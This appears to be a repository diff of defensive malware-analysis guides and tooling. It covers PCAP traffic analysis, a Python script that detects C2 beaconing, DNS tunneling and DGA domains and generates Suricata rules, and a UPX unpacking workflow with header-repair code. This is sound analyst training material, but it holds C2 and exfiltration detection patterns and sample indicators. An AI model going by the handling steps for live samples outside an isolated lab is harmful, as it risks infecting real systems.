zeek -r malware.pcap /opt/zeek/share/zeek/policy/frameworks/files/extract-all-files.zeek
ls extract_files/
# Extract files using NetworkMiner (GUI)
# Or use tshark for specific protocol exports
tshark -r malware.pcap --export-objects http,http_objects/
tshark -r malware.pcap --export-objects smb,smb_objects/
tshark -r malware.pcap --export-objects tftp,tftp_objects/
# Hash all extracted files
sha256sum http_objects/* smb_objects/* 2>/dev/null
# Generate Zeek logs for comprehensive metadata
zeek -r malware.pcap
# Output: conn.log, dns.log, http.log, ssl.log, files.log, etc.
```
## Key Concepts
| Term | Definition |
|------|------------|
| **Beaconing** | Regular periodic connections from malware to C2 server, identifiable by consistent time intervals and packet sizes |
| **JA3/JA3S** | TLS fingerprinting method creating a hash from ClientHello/ServerHello parameters to uniquely identify malware TLS implementations |
| **DGA (Domain Generation Algorithm)** | Algorithm generating pseudo-random domain names that malware queries to locate C2 servers, evading static domain blocklists |
| **DNS Tunneling** | Encoding data in DNS queries and responses to establish a C2 channel or exfiltrate data through DNS infrastructure |
| **Fast Flux** | DNS technique rapidly rotating IP addresses for a domain to avoid takedown and distribute C2 across many compromised hosts |
| **SNI (Server Name Indication)** | TLS extension revealing the hostname the client is connecting to; visible even in encrypted HTTPS connections |
| **Network Signature** | Suricata/Snort rule matching specific patterns in network traffic (headers, payloads, timing) to detect malicious communications |
## Tools & Systems
- **Wireshark**: Open-source packet analyzer for deep interactive inspection of network traffic at the protocol level
- **Zeek**: Network analysis framework generating structured metadata logs (conn, dns, http, ssl) from live or captured traffic
- **Suricata**: High-performance network IDS/IPS for signature-based detection with Lua scripting for custom detection logic
- **NetworkMiner**: Network forensic analysis tool for extracting files, images, and credentials from PCAP files
- **Scapy**: Python packet manipulation library for programmatic packet analysis, beacon detection, and protocol decoding
## Common Scenarios
### Scenario: Decoding a Custom Binary C2 Protocol
**Context**: Malware communicates with its C2 server using a custom binary protocol over TCP port 8443. Standard HTTP analysis yields no results. The protocol structure needs to be reverse engineered from the PCAP.
**Approach**:
1. Filter the PCAP for TCP port 8443 conversations and follow the TCP stream
2. Identify the message framing (length prefix, delimiter, fixed-size headers)
3. Compare multiple messages to identify static header fields vs variable data fields
4. Cross-reference with reverse engineering findings from Ghidra (if the binary was analyzed)
5. Write a Wireshark dissector or Scapy parser for the custom protocol
6. Create Suricata rules matching the static header bytes for network detection
7. Document the full protocol specification for threat intelligence sharing
**Pitfalls**:
- Analyzing only the first few packets; some C2 protocols change behavior after initial handshake
- Not decrypting TLS traffic when the sandbox has MITM capabilities
- Confusing legitimate CDN or cloud traffic with C2 (validate destination IPs)
- Missing C2 traffic that uses DNS or ICMP instead of TCP/UDP
## Output Format
```
MALWARE NETWORK TRAFFIC ANALYSIS
===================================
PCAP File: malware_sandbox.pcap
Duration: 300 seconds
Total Packets: 12,847
Total Bytes: 4.2 MB
DNS ACTIVITY
Total Queries: 47
DGA Detected: Yes (23 high-entropy queries to .com TLD)
Tunneling: No
Resolved C2: update.malicious[.]com -> 185.220.101[.]42
C2 COMMUNICATION
Protocol: HTTPS (TLS 1.2)
Server: 185.220.101[.]42:443
SNI: update.malicious[.]com
JA3 Hash: a0e9f5d64349fb13191bc781f81f42e1
Beacon Interval: 60.2s ± 6.8s (11.3% jitter)
Total Sessions: 237
Data Sent: 147 MB
Data Received: 2.3 MB
Certificate: CN=update.malicious[.]com (self-signed, expired)
PAYLOAD DOWNLOADS
GET /payload.dll from compromised-site[.]com
Size: 98,304 bytes
SHA-256: abc123def456...
Content-Type: application/octet-stream
EXFILTRATION
Method: HTTPS POST to /gate.php
Content-Type: application/octet-stream
Average Size: 15,432 bytes per request
Total Volume: 147 MB over 4 hours
SURICATA ALERTS
[1:2028401] ET MALWARE Generic C2 Beacon Pattern
[1:2028500] ET POLICY Self-Signed Certificate
GENERATED SIGNATURES
SID 9000001: MalwareX HTTP beacon pattern
SID 9000002: MalwareX DNS C2 domain
SID 9000003: MalwareX JA3 TLS fingerprint
```

View File

@@ -0,0 +1,128 @@
# API Reference: Malware Network Traffic Analysis
## dpkt - Python Packet Parsing
### PCAP Reading
```python
import dpkt
with open("malware.pcap", "rb") as f:
pcap = dpkt.pcap.Reader(f)
for ts, buf in pcap:
eth = dpkt.ethernet.Ethernet(buf)
ip = eth.data
tcp = ip.data
```
### HTTP Parsing
```python
http_req = dpkt.http.Request(tcp.data)
http_req.method # GET, POST
http_req.uri # Request URI
http_req.headers # Header dict
http_req.body # POST body
http_resp = dpkt.http.Response(tcp.data)
http_resp.status # Status code
http_resp.body # Response body
```
### IP Address Conversion
```python
dpkt.utils.inet_to_str(ip.src) # bytes -> "1.2.3.4"
dpkt.utils.inet_aton("1.2.3.4") # "1.2.3.4" -> bytes
```
## Wireshark Display Filters for Malware
### C2 Detection
```
http.request.method == "POST" && http.content_length > 0
tls.handshake.type == 1 # TLS Client Hello
tcp.flags.syn == 1 && tcp.flags.ack == 0 # New connections
dns.qry.type == 16 # TXT records
```
### Payload Analysis
```
tcp.payload contains "MZ" # PE downloads
http.response.code == 200 && http.content_type contains "octet"
frame.len > 1400 # Large packets
```
## tshark - Field Extraction
### HTTP Requests
```bash
tshark -r malware.pcap -Y "http.request" -T fields \
-e http.request.method -e http.host -e http.request.uri \
-e http.user_agent -e http.content_length
```
### TLS/JA3 Fingerprinting
```bash
tshark -r malware.pcap -Y "tls.handshake.type==1" -T fields \
-e ip.src -e ip.dst -e tls.handshake.ja3
```
### DNS Queries
```bash
tshark -r malware.pcap -Y "dns.qr==0" -T fields \
-e ip.src -e dns.qry.name -e dns.qry.type
```
### Stream Follow
```bash
tshark -r malware.pcap -z follow,tcp,ascii,0
tshark -r malware.pcap -z follow,http,ascii,0
```
## Suricata Rule Syntax
### HTTP Rules
```
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"MALWARE C2 Beacon";
flow:established,to_server;
http.method; content:"POST";
http.uri; content:"/gate.php";
sid:9000001; rev:1;
)
```
### DNS Rules
```
alert dns $HOME_NET any -> any any (
msg:"MALWARE DNS Tunneling";
dns.query; pcre:"/^[a-z0-9]{20,}\./";
threshold:type threshold, track by_src, count 10, seconds 60;
sid:9000002; rev:1;
)
```
### TLS Rules
```
alert tls $HOME_NET any -> $EXTERNAL_NET any (
msg:"MALWARE JA3 Match";
ja3.hash; content:"a0e9f5d64349fb13191bc781f81f42e1";
sid:9000003; rev:1;
)
```
## RITA - Beacon Analysis
### Syntax
```bash
rita import zeek_logs dataset_name
rita analyze dataset_name
rita show-beacons dataset_name
rita show-long-connections dataset_name
rita show-dns-fqdn-lengths dataset_name
```
## NetworkMiner
### CLI Syntax
```bash
NetworkMiner --inputfile malware.pcap --outputdir /tmp/extracted
```
Extracts files, sessions, credentials, DNS from PCAP

View File

@@ -0,0 +1,243 @@
#!/usr/bin/env python3
"""Malware network traffic analysis agent for C2 protocol decoding and signature generation."""
import os
import sys
import math
from collections import defaultdict, Counter
try:
import dpkt
HAS_DPKT = True
except ImportError:
HAS_DPKT = False
try:
from scapy.all import rdpcap, IP, TCP, DNS, DNSQR
HAS_SCAPY = True
except ImportError:
HAS_SCAPY = False
def shannon_entropy(data):
"""Calculate Shannon entropy of byte data."""
if not data:
return 0.0
counter = Counter(data)
length = len(data)
return -sum((c / length) * math.log2(c / length) for c in counter.values())
def extract_tcp_streams(pcap_path):
"""Extract TCP stream payloads grouped by conversation."""
if not HAS_DPKT:
return {}
streams = defaultdict(list)
with open(pcap_path, "rb") as f:
pcap = dpkt.pcap.Reader(f)
for ts, buf in pcap:
try:
eth = dpkt.ethernet.Ethernet(buf)
if not isinstance(eth.data, dpkt.ip.IP):
continue
ip = eth.data
if not isinstance(ip.data, dpkt.tcp.TCP):
continue
tcp = ip.data
if len(tcp.data) > 0:
src = f"{dpkt.utils.inet_to_str(ip.src)}:{tcp.sport}"
dst = f"{dpkt.utils.inet_to_str(ip.dst)}:{tcp.dport}"
key = tuple(sorted([src, dst]))
streams[key].append({
"ts": ts,
"src": src,
"dst": dst,
"data": tcp.data,
"data_len": len(tcp.data),
})
except Exception:
continue
return streams
def analyze_payload_structure(payloads):
"""Analyze payload structure to identify protocol framing."""
if not payloads:
return {}
analysis = {
"total_payloads": len(payloads),
"sizes": [len(p) for p in payloads],
"avg_size": sum(len(p) for p in payloads) / len(payloads),
"entropy_values": [],
}
for p in payloads[:20]:
ent = shannon_entropy(p)
analysis["entropy_values"].append(round(ent, 4))
avg_ent = sum(analysis["entropy_values"]) / len(analysis["entropy_values"])
analysis["avg_entropy"] = round(avg_ent, 4)
analysis["likely_encrypted"] = avg_ent > 7.5
# Check for common header patterns
first_bytes = [p[:4] for p in payloads if len(p) >= 4]
if first_bytes:
byte_counter = Counter([b.hex() for b in first_bytes])
most_common = byte_counter.most_common(3)
analysis["common_headers"] = [
{"hex": h, "count": c} for h, c in most_common
]
return analysis
def detect_dns_tunneling(pcap_path, entropy_threshold=3.5):
"""Detect DNS tunneling in malware traffic."""
if not HAS_SCAPY:
return []
packets = rdpcap(pcap_path)
suspicious = []
for pkt in packets:
if DNS in pkt and pkt[DNS].qr == 0 and DNSQR in pkt:
qname = pkt[DNSQR].qname.decode("utf-8", errors="replace").rstrip(".")
parts = qname.split(".")
if len(parts) > 2:
subdomain = ".".join(parts[:-2])
ent = shannon_entropy(subdomain.encode())
if ent > entropy_threshold or len(subdomain) > 50:
suspicious.append({
"query": qname,
"subdomain_length": len(subdomain),
"entropy": round(ent, 4),
"src": pkt[IP].src if IP in pkt else "?",
"qtype": pkt[DNSQR].qtype,
})
return suspicious
def detect_dga_domains(pcap_path, min_length=12, entropy_threshold=3.5):
"""Detect DGA (Domain Generation Algorithm) domains."""
if not HAS_SCAPY:
return []
packets = rdpcap(pcap_path)
dga_suspects = []
for pkt in packets:
if DNS in pkt and pkt[DNS].qr == 0 and DNSQR in pkt:
qname = pkt[DNSQR].qname.decode("utf-8", errors="replace").rstrip(".")
parts = qname.split(".")
if len(parts) >= 2:
sld = parts[-2]
if len(sld) >= min_length:
ent = shannon_entropy(sld.encode())
if ent > entropy_threshold:
dga_suspects.append({
"domain": qname,
"sld": sld,
"length": len(sld),
"entropy": round(ent, 4),
})
return dga_suspects
def extract_http_c2(pcap_path):
"""Extract HTTP-based C2 communication patterns."""
if not HAS_DPKT:
return []
requests = []
with open(pcap_path, "rb") as f:
pcap = dpkt.pcap.Reader(f)
for ts, buf in pcap:
try:
eth = dpkt.ethernet.Ethernet(buf)
if not isinstance(eth.data, dpkt.ip.IP):
continue
ip = eth.data
if not isinstance(ip.data, dpkt.tcp.TCP):
continue
tcp = ip.data
if len(tcp.data) > 0:
try:
http = dpkt.http.Request(tcp.data)
requests.append({
"timestamp": ts,
"src": dpkt.utils.inet_to_str(ip.src),
"dst": dpkt.utils.inet_to_str(ip.dst),
"method": http.method,
"uri": http.uri,
"host": http.headers.get("host", ""),
"user_agent": http.headers.get("user-agent", ""),
"content_type": http.headers.get("content-type", ""),
"body_size": len(http.body) if http.body else 0,
"body_entropy": round(shannon_entropy(http.body), 4) if http.body else 0,
})
except (dpkt.dpkt.NeedData, dpkt.dpkt.UnpackError):
pass
except Exception:
continue
return requests
def generate_suricata_signatures(http_requests, dns_tunneling):
"""Generate Suricata IDS signatures from observed malware network patterns."""
rules = []
sid = 9100000
seen_uris = set()
for req in http_requests:
if req["uri"] not in seen_uris:
seen_uris.add(req["uri"])
rules.append(
f'alert http $HOME_NET any -> $EXTERNAL_NET any ('
f'msg:"MALWARE Suspected C2 HTTP {req["method"]} {req["uri"][:30]}"; '
f'flow:established,to_server; '
f'http.method; content:"{req["method"]}"; '
f'http.uri; content:"{req["uri"]}"; '
f'sid:{sid}; rev:1;)'
)
sid += 1
if dns_tunneling:
domains = set()
for t in dns_tunneling:
parts = t["query"].split(".")
if len(parts) >= 2:
domains.add(".".join(parts[-2:]))
for domain in list(domains)[:5]:
rules.append(
f'alert dns $HOME_NET any -> any any ('
f'msg:"MALWARE DNS Tunneling to {domain}"; '
f'dns.query; content:"{domain}"; nocase; '
f'sid:{sid}; rev:1;)'
)
sid += 1
return rules
if __name__ == "__main__":
print("=" * 60)
print("Malware Network Traffic Analysis Agent")
print("C2 protocol decoding, DNS tunneling, DGA detection")
print("=" * 60)
pcap = sys.argv[1] if len(sys.argv) > 1 else None
if pcap and os.path.exists(pcap):
print(f"\n[*] Analyzing: {pcap}")
print("\n--- HTTP C2 Communication ---")
http_reqs = extract_http_c2(pcap)
for r in http_reqs[:10]:
print(f" {r['method']} {r['host']}{r['uri']} "
f"(body={r['body_size']}B, entropy={r['body_entropy']})")
print("\n--- DNS Tunneling Detection ---")
tunneling = detect_dns_tunneling(pcap)
for t in tunneling[:10]:
print(f" [!] {t['query']} (len={t['subdomain_length']}, ent={t['entropy']})")
print("\n--- DGA Domain Detection ---")
dga = detect_dga_domains(pcap)
for d in dga[:10]:
print(f" [!] {d['domain']} (sld_len={d['length']}, ent={d['entropy']})")
print("\n--- Generated Suricata Rules ---")
rules = generate_suricata_signatures(http_reqs, tunneling)
for r in rules[:5]:
print(f" {r}")
else:
print(f"\n[DEMO] Usage: python agent.py <malware_traffic.pcap>")

View File

@@ -0,0 +1,201 @@
Apache License
Version 2.0, January 2004
http://www.apache.org/licenses/
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
1. Definitions.
"License" shall mean the terms and conditions for use, reproduction,
and distribution as defined by Sections 1 through 9 of this document.
"Licensor" shall mean the copyright owner or entity authorized by
the copyright owner that is granting the License.
"Legal Entity" shall mean the union of the acting entity and all
other entities that control, are controlled by, or are under common
control with that entity. For the purposes of this definition,
"control" means (i) the power, direct or indirect, to cause the
direction or management of such entity, whether by contract or
otherwise, or (ii) ownership of fifty percent (50%) or more of the
outstanding shares, or (iii) beneficial ownership of such entity.
"You" (or "Your") shall mean an individual or Legal Entity
exercising permissions granted by this License.
"Source" form shall mean the preferred form for making modifications,
including but not limited to software source code, documentation
source, and configuration files.
"Object" form shall mean any form resulting from mechanical
transformation or translation of a Source form, including but
not limited to compiled object code, generated documentation,
and conversions to other media types.
"Work" shall mean the work of authorship, whether in Source or
Object form, made available under the License, as indicated by a
copyright notice that is included in or attached to the work
(an example is provided in the Appendix below).
"Derivative Works" shall mean any work, whether in Source or Object
form, that is based on (or derived from) the Work and for which the
editorial revisions, annotations, elaborations, or other modifications
represent, as a whole, an original work of authorship. For the purposes
of this License, Derivative Works shall not include works that remain
separable from, or merely link (or bind by name) to the interfaces of,
the Work and Derivative Works thereof.
"Contribution" shall mean any work of authorship, including
the original version of the Work and any modifications or additions
to that Work or Derivative Works thereof, that is intentionally
submitted to the Licensor for inclusion in the Work by the copyright owner
or by an individual or Legal Entity authorized to submit on behalf of
the copyright owner. For the purposes of this definition, "submitted"
means any form of electronic, verbal, or written communication sent
to the Licensor or its representatives, including but not limited to
communication on electronic mailing lists, source code control systems,
and issue tracking systems that are managed by, or on behalf of, the
Licensor for the purpose of discussing and improving the Work, but
excluding communication that is conspicuously marked or otherwise
designated in writing by the copyright owner as "Not a Contribution."
"Contributor" shall mean Licensor and any individual or Legal Entity
on behalf of whom a Contribution has been received by the Licensor and
subsequently incorporated within the Work.
2. Grant of Copyright License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
copyright license to reproduce, prepare Derivative Works of,
publicly display, publicly perform, sublicense, and distribute the
Work and such Derivative Works in Source or Object form.
3. Grant of Patent License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
(except as stated in this section) patent license to make, have made,
use, offer to sell, sell, import, and otherwise transfer the Work,
where such license applies only to those patent claims licensable
by such Contributor that are necessarily infringed by their
Contribution(s) alone or by combination of their Contribution(s)
with the Work to which such Contribution(s) was submitted. If You
institute patent litigation against any entity (including a
cross-claim or counterclaim in a lawsuit) alleging that the Work
or a Contribution incorporated within the Work constitutes direct
or contributory patent infringement, then any patent licenses
granted to You under this License for that Work shall terminate
as of the date such litigation is filed.
4. Redistribution. You may reproduce and distribute copies of the
Work or Derivative Works thereof in any medium, with or without
modifications, and in Source or Object form, provided that You
meet the following conditions:
(a) You must give any other recipients of the Work or
Derivative Works a copy of this License; and
(b) You must cause any modified files to carry prominent notices
stating that You changed the files; and
(c) You must retain, in the Source form of any Derivative Works
that You distribute, all copyright, patent, trademark, and
attribution notices from the Source form of the Work,
excluding those notices that do not pertain to any part of
the Derivative Works; and
(d) If the Work includes a "NOTICE" text file as part of its
distribution, then any Derivative Works that You distribute must
include a readable copy of the attribution notices contained
within such NOTICE file, excluding any notices that do not
pertain to any part of the Derivative Works, in at least one
of the following places: within a NOTICE text file distributed
as part of the Derivative Works; within the Source form or
documentation, if provided along with the Derivative Works; or,
within a display generated by the Derivative Works, if and
wherever such third-party notices normally appear. The contents
of the NOTICE file are for informational purposes only and
do not modify the License. You may add Your own attribution
notices within Derivative Works that You distribute, alongside
or as an addendum to the NOTICE text from the Work, provided
that such additional attribution notices cannot be construed
as modifying the License.
You may add Your own copyright statement to Your modifications and
may provide additional or different license terms and conditions
for use, reproduction, or distribution of Your modifications, or
for any such Derivative Works as a whole, provided Your use,
reproduction, and distribution of the Work otherwise complies with
the conditions stated in this License.
5. Submission of Contributions. Unless You explicitly state otherwise,
any Contribution intentionally submitted for inclusion in the Work
by You to the Licensor shall be under the terms and conditions of
this License, without any additional terms or conditions.
Notwithstanding the above, nothing herein shall supersede or modify
the terms of any separate license agreement you may have executed
with Licensor regarding such Contributions.
6. Trademarks. This License does not grant permission to use the trade
names, trademarks, service marks, or product names of the Licensor,
except as required for reasonable and customary use in describing the
origin of the Work and reproducing the content of the NOTICE file.
7. Disclaimer of Warranty. Unless required by applicable law or
agreed to in writing, Licensor provides the Work (and each
Contributor provides its Contributions) on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
implied, including, without limitation, any warranties or conditions
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
PARTICULAR PURPOSE. You are solely responsible for determining the
appropriateness of using or redistributing the Work and assume any
risks associated with Your exercise of permissions under this License.
8. Limitation of Liability. In no event and under no legal theory,
whether in tort (including negligence), contract, or otherwise,
unless required by applicable law (such as deliberate and grossly
negligent acts) or agreed to in writing, shall any Contributor be
liable to You for damages, including any direct, indirect, special,
incidental, or consequential damages of any character arising as a
result of this License or out of the use or inability to use the
Work (including but not limited to damages for loss of goodwill,
work stoppage, computer failure or malfunction, or any and all
other commercial damages or losses), even if such Contributor
has been advised of the possibility of such damages.
9. Accepting Warranty or Additional Liability. While redistributing
the Work or Derivative Works thereof, You may choose to offer,
and charge a fee for, acceptance of support, warranty, indemnity,
or other liability obligations and/or rights consistent with this
License. However, in accepting such obligations, You may act only
on Your own behalf and on Your sole responsibility, not on behalf
of any other Contributor, and only if You agree to indemnify,
defend, and hold each Contributor harmless for any liability
incurred by, or claims asserted against, such Contributor by reason
of your accepting any such warranty or additional liability.
END OF TERMS AND CONDITIONS
APPENDIX: How to apply the Apache License to your work.
To apply the Apache License to your work, attach the following
boilerplate notice, with the fields enclosed by brackets "[]"
replaced with your own identifying information. (Don't include
the brackets!) The text should be enclosed in the appropriate
comment syntax for the file format. Please do not remove or change
the license header comment from a contributed file except when
necessary.
Copyright 2026 mukul975
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.

View File

@@ -0,0 +1,311 @@
---
name: analyzing-packed-malware-with-upx-unpacker
description: 'Identifies and unpacks UPX-packed malware samples, including binaries with modified UPX magic bytes or headers that block automated decompression, to recover the original executable for static analysis. Use when a sample shows high entropy, minimal imports, or only LoadLibrary/GetProcAddress in its import table, or when preparing a packed binary for disassembly in Ghidra or IDA.
'
domain: cybersecurity
subdomain: malware-analysis
tags:
- malware
- unpacking
- UPX
- packing
- static-analysis
version: 1.0.0
author: mahipal
license: Apache-2.0
nist_csf:
- DE.AE-02
- RS.AN-03
- ID.RA-01
- DE.CM-01
mitre_attack:
- T1027.002
- T1140
- T1620
---
# Analyzing Packed Malware with UPX Unpacker
## When to Use
- Static analysis reveals high entropy sections and minimal imports indicating the binary is packed
- PEiD, Detect It Easy, or PEStudio identifies UPX or another known packer
- The import table contains only LoadLibrary and GetProcAddress (runtime import resolution typical of packed binaries)
- You need to recover the original binary for proper disassembly and decompilation in Ghidra or IDA
- Automated UPX decompression fails because the malware author modified UPX magic bytes or headers
**Do not use** when dealing with custom packers, VM-based protectors (Themida, VMProtect), or samples where dynamic unpacking via debugging is more appropriate.
## Prerequisites
- UPX (Ultimate Packer for eXecutables) installed (`apt install upx-ucl` or download from https://upx.github.io/)
- Detect It Easy (DIE) for packer identification
- Python 3.8+ with `pefile` library for manual header repair
- x64dbg or x32dbg for manual unpacking when automated tools fail
- PE-bear or CFF Explorer for PE header inspection and repair
- Isolated analysis VM without network connectivity
## Workflow
### Step 1: Identify the Packer
Determine if the sample is packed and identify the packer:
```bash
# Check with Detect It Easy
diec suspect.exe
# Check with UPX (test without unpacking)
upx -t suspect.exe
# Python-based entropy and packer detection
python3 << 'PYEOF'
import pefile
import math
pe = pefile.PE("suspect.exe")
print("Section Analysis:")
for section in pe.sections:
name = section.Name.decode().rstrip('\x00')
entropy = section.get_entropy()
raw = section.SizeOfRawData
virtual = section.Misc_VirtualSize
print(f" {name:8s} Entropy: {entropy:.2f} Raw: {raw:>8} Virtual: {virtual:>8}")
# Check for UPX section names
section_names = [s.Name.decode().rstrip('\x00') for s in pe.sections]
if 'UPX0' in section_names or 'UPX1' in section_names:
print("\n[!] UPX section names detected")
elif '.upx' in [s.lower() for s in section_names]:
print("\n[!] UPX variant section names detected")
# Check import count (packed binaries have very few)
if hasattr(pe, 'DIRECTORY_ENTRY_IMPORT'):
total_imports = sum(len(e.imports) for e in pe.DIRECTORY_ENTRY_IMPORT)
print(f"\nTotal imports: {total_imports}")
if total_imports < 10:
print("[!] Very few imports - likely packed")
else:
print("\n[!] No import directory - heavily packed")
PYEOF
```
### Step 2: Attempt Standard UPX Decompression
Try the built-in UPX decompression:
```bash
# Standard UPX decompress
upx -d suspect.exe -o unpacked.exe
# If UPX fails with "not packed by UPX" error, the headers may be modified
# Verbose output for debugging
upx -d suspect.exe -o unpacked.exe -v 2>&1
# Verify the unpacked file
file unpacked.exe
diec unpacked.exe
```
### Step 3: Repair Modified UPX Headers
If standard decompression fails, repair tampered magic bytes:
```python
# Repair modified UPX headers
import struct
with open("suspect.exe", "rb") as f:
data = bytearray(f.read())
# UPX magic bytes: "UPX!" (0x55505821)
# Malware authors commonly modify these to prevent automatic unpacking
# Search for modified UPX signatures
upx_magic = b"UPX!"
modified_patterns = [b"UPX0", b"UPX\x00", b"\x00PX!", b"UPx!"]
# Find and restore section names
pe_offset = struct.unpack_from("<I", data, 0x3C)[0]
num_sections = struct.unpack_from("<H", data, pe_offset + 6)[0]
section_table_offset = pe_offset + 0x18 + struct.unpack_from("<H", data, pe_offset + 0x14)[0]
print(f"PE offset: 0x{pe_offset:X}")
print(f"Number of sections: {num_sections}")
print(f"Section table offset: 0x{section_table_offset:X}")
for i in range(num_sections):
offset = section_table_offset + (i * 40)
name = data[offset:offset+8]
print(f"Section {i}: {name}")
# Restore UPX magic bytes in the binary
# Search for the UPX header signature location (typically near the end of packed data)
for i in range(len(data) - 4):
if data[i:i+3] == b"UPX" and data[i+3] != ord("!"):
print(f"Found modified UPX magic at offset 0x{i:X}: {data[i:i+4]}")
data[i:i+4] = b"UPX!"
print(f"Restored to: UPX!")
# Also restore section names if modified
for i in range(num_sections):
offset = section_table_offset + (i * 40)
name = data[offset:offset+8].rstrip(b'\x00')
if name in [b"UPX0", b"UPX1", b"UPX2"]:
continue # Already correct
# Check for common modifications
if name.startswith(b"UP") or name.startswith(b"ux"):
original = f"UPX{i}".encode().ljust(8, b'\x00')
data[offset:offset+8] = original
print(f"Restored section name at 0x{offset:X} to {original}")
with open("suspect_fixed.exe", "wb") as f:
f.write(data)
print("\nFixed file written. Retry: upx -d suspect_fixed.exe -o unpacked.exe")
```
### Step 4: Manual Unpacking with Debugger
When automated unpacking fails entirely, use dynamic unpacking:
```
Manual UPX Unpacking with x64dbg:
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
1. Load packed sample in x64dbg
2. Run to the entry point (system breakpoint then F9)
3. UPX unpacking stub pattern:
a. PUSHAD (saves all registers)
b. Decompression loop (processes packed sections)
c. Resolves imports (LoadLibrary/GetProcAddress calls)
d. POPAD (restores registers)
e. JMP to OEP (original entry point)
4. Set hardware breakpoint on ESP after PUSHAD:
- After PUSHAD, right-click ESP in registers -> Follow in Dump
- Set hardware breakpoint on access at [ESP] address
- Run (F9) - breaks at POPAD before JMP to OEP
5. Step forward (F7/F8) until you reach the JMP to OEP
6. At OEP: Use Scylla plugin to dump and fix imports:
- Plugins -> Scylla -> OEP = current EIP
- Click "IAT Autosearch" -> "Get Imports"
- Click "Dump" to save unpacked binary
- Click "Fix Dump" to repair import table
```
### Step 5: Validate Unpacked Binary
Verify the unpacked sample is valid and complete:
```bash
# Verify unpacked PE is valid
python3 << 'PYEOF'
import pefile
pe = pefile.PE("unpacked.exe")
# Check sections are normal
print("Unpacked Section Analysis:")
for section in pe.sections:
name = section.Name.decode().rstrip('\x00')
entropy = section.get_entropy()
print(f" {name:8s} Entropy: {entropy:.2f}")
# Verify imports are resolved
print(f"\nImport count:")
if hasattr(pe, 'DIRECTORY_ENTRY_IMPORT'):
for entry in pe.DIRECTORY_ENTRY_IMPORT:
dll = entry.dll.decode()
count = len(entry.imports)
print(f" {dll}: {count} functions")
total = sum(len(e.imports) for e in pe.DIRECTORY_ENTRY_IMPORT)
print(f" Total: {total} imports")
# Compare file sizes
import os
packed_size = os.path.getsize("suspect.exe")
unpacked_size = os.path.getsize("unpacked.exe")
print(f"\nPacked: {packed_size:>10} bytes")
print(f"Unpacked: {unpacked_size:>10} bytes")
print(f"Ratio: {unpacked_size/packed_size:.1f}x")
PYEOF
```
## Key Concepts
| Term | Definition |
|------|------------|
| **Packing** | Compressing or encrypting executable code to reduce file size and hinder static analysis; the binary contains an unpacking stub that restores code at runtime |
| **UPX** | Ultimate Packer for eXecutables; open-source executable packer commonly abused by malware authors because it is free and effective |
| **Original Entry Point (OEP)** | The real starting address of the malware code before packing; the unpacking stub decompresses code then jumps to the OEP |
| **Import Reconstruction** | Process of rebuilding the import address table after dumping an unpacked process from memory using tools like Scylla or ImpRec |
| **PUSHAD/POPAD** | x86 instructions that save/restore all general-purpose registers; UPX uses this pattern to preserve register state during unpacking |
| **Section Entropy** | Randomness measure of PE section data; packed sections show entropy > 7.0 while normal code sections average 5.0-6.5 |
| **Magic Bytes** | Signature bytes within a file identifying its format; UPX uses "UPX!" which malware authors modify to prevent automated decompression |
## Tools & Systems
- **UPX**: Open-source executable packer with built-in decompression capability for properly packed files
- **Detect It Easy (DIE)**: Packer, compiler, and linker detection tool that identifies protection on PE, ELF, and Mach-O files
- **x64dbg/x32dbg**: Open-source Windows debugger used for manual unpacking through dynamic execution and breakpoint-based OEP finding
- **Scylla**: Import reconstruction tool integrated with x64dbg for rebuilding IAT after memory dumping
- **PE-bear**: PE file viewer and editor for inspecting and repairing PE headers after unpacking
## Common Scenarios
### Scenario: Unpacking Malware with Modified UPX Headers
**Context**: A malware sample is identified as UPX-packed by section names (UPX0, UPX1) but `upx -d` fails with "CantUnpackException: header corrupted". The malware author modified the UPX magic bytes to prevent automated decompression.
**Approach**:
1. Open the binary in a hex editor and search for the UPX header area (typically at the end of packed data)
2. Identify the modified magic bytes (e.g., "UPX!" changed to "UPX\x00" or completely zeroed)
3. Use the Python repair script to restore "UPX!" magic and correct section names
4. Retry `upx -d` on the repaired binary
5. If repair fails, fall back to manual unpacking with x64dbg (PUSHAD -> hardware BP on ESP -> POPAD -> JMP OEP)
6. Validate the unpacked binary has proper imports and reasonable entropy values
7. Import into Ghidra or IDA for full static analysis
**Pitfalls**:
- Assuming UPX is the only packer; the binary may be double-packed (UPX + custom layer)
- Modifying the original packed sample instead of working on a copy
- Not reconstructing imports after manual memory dump (the dumped binary will crash without IAT fix)
- Forgetting to check for overlay data appended after the UPX-packed PE sections
## Output Format
```
UNPACKING ANALYSIS REPORT
===========================
Sample: suspect.exe
SHA-256: e3b0c44298fc1c149afbf4c8996fb924...
Packer: UPX 3.96 (modified headers)
PACKED BINARY
Sections: UPX0 (entropy: 0.00) UPX1 (entropy: 7.89) .rsrc (entropy: 3.45)
Imports: 2 (kernel32.dll: LoadLibraryA, GetProcAddress)
File Size: 98,304 bytes
UNPACKING METHOD
Method: Header repair + UPX -d
Header Fix: Restored UPX! magic at offset 0x1F000
Command: upx -d suspect_fixed.exe -o unpacked.exe
Result: SUCCESS
UNPACKED BINARY
Sections: .text (entropy: 6.21) .rdata (entropy: 4.56) .data (entropy: 3.12) .rsrc (entropy: 3.45)
Imports: 147 (kernel32, user32, advapi32, wininet, ws2_32)
File Size: 245,760 bytes (2.5x expansion)
OEP: 0x00401000
VALIDATION
PE Valid: Yes
Imports Resolved: Yes (147 functions across 8 DLLs)
Executable: Yes (runs without crash in sandbox)
NEXT STEPS
- Import unpacked.exe into Ghidra for full disassembly
- Run YARA rules against unpacked binary
- Submit unpacked binary to VirusTotal for improved detection
```

View File

@@ -0,0 +1,117 @@
# API Reference: Packed Malware and UPX Analysis
## UPX - Ultimate Packer for eXecutables
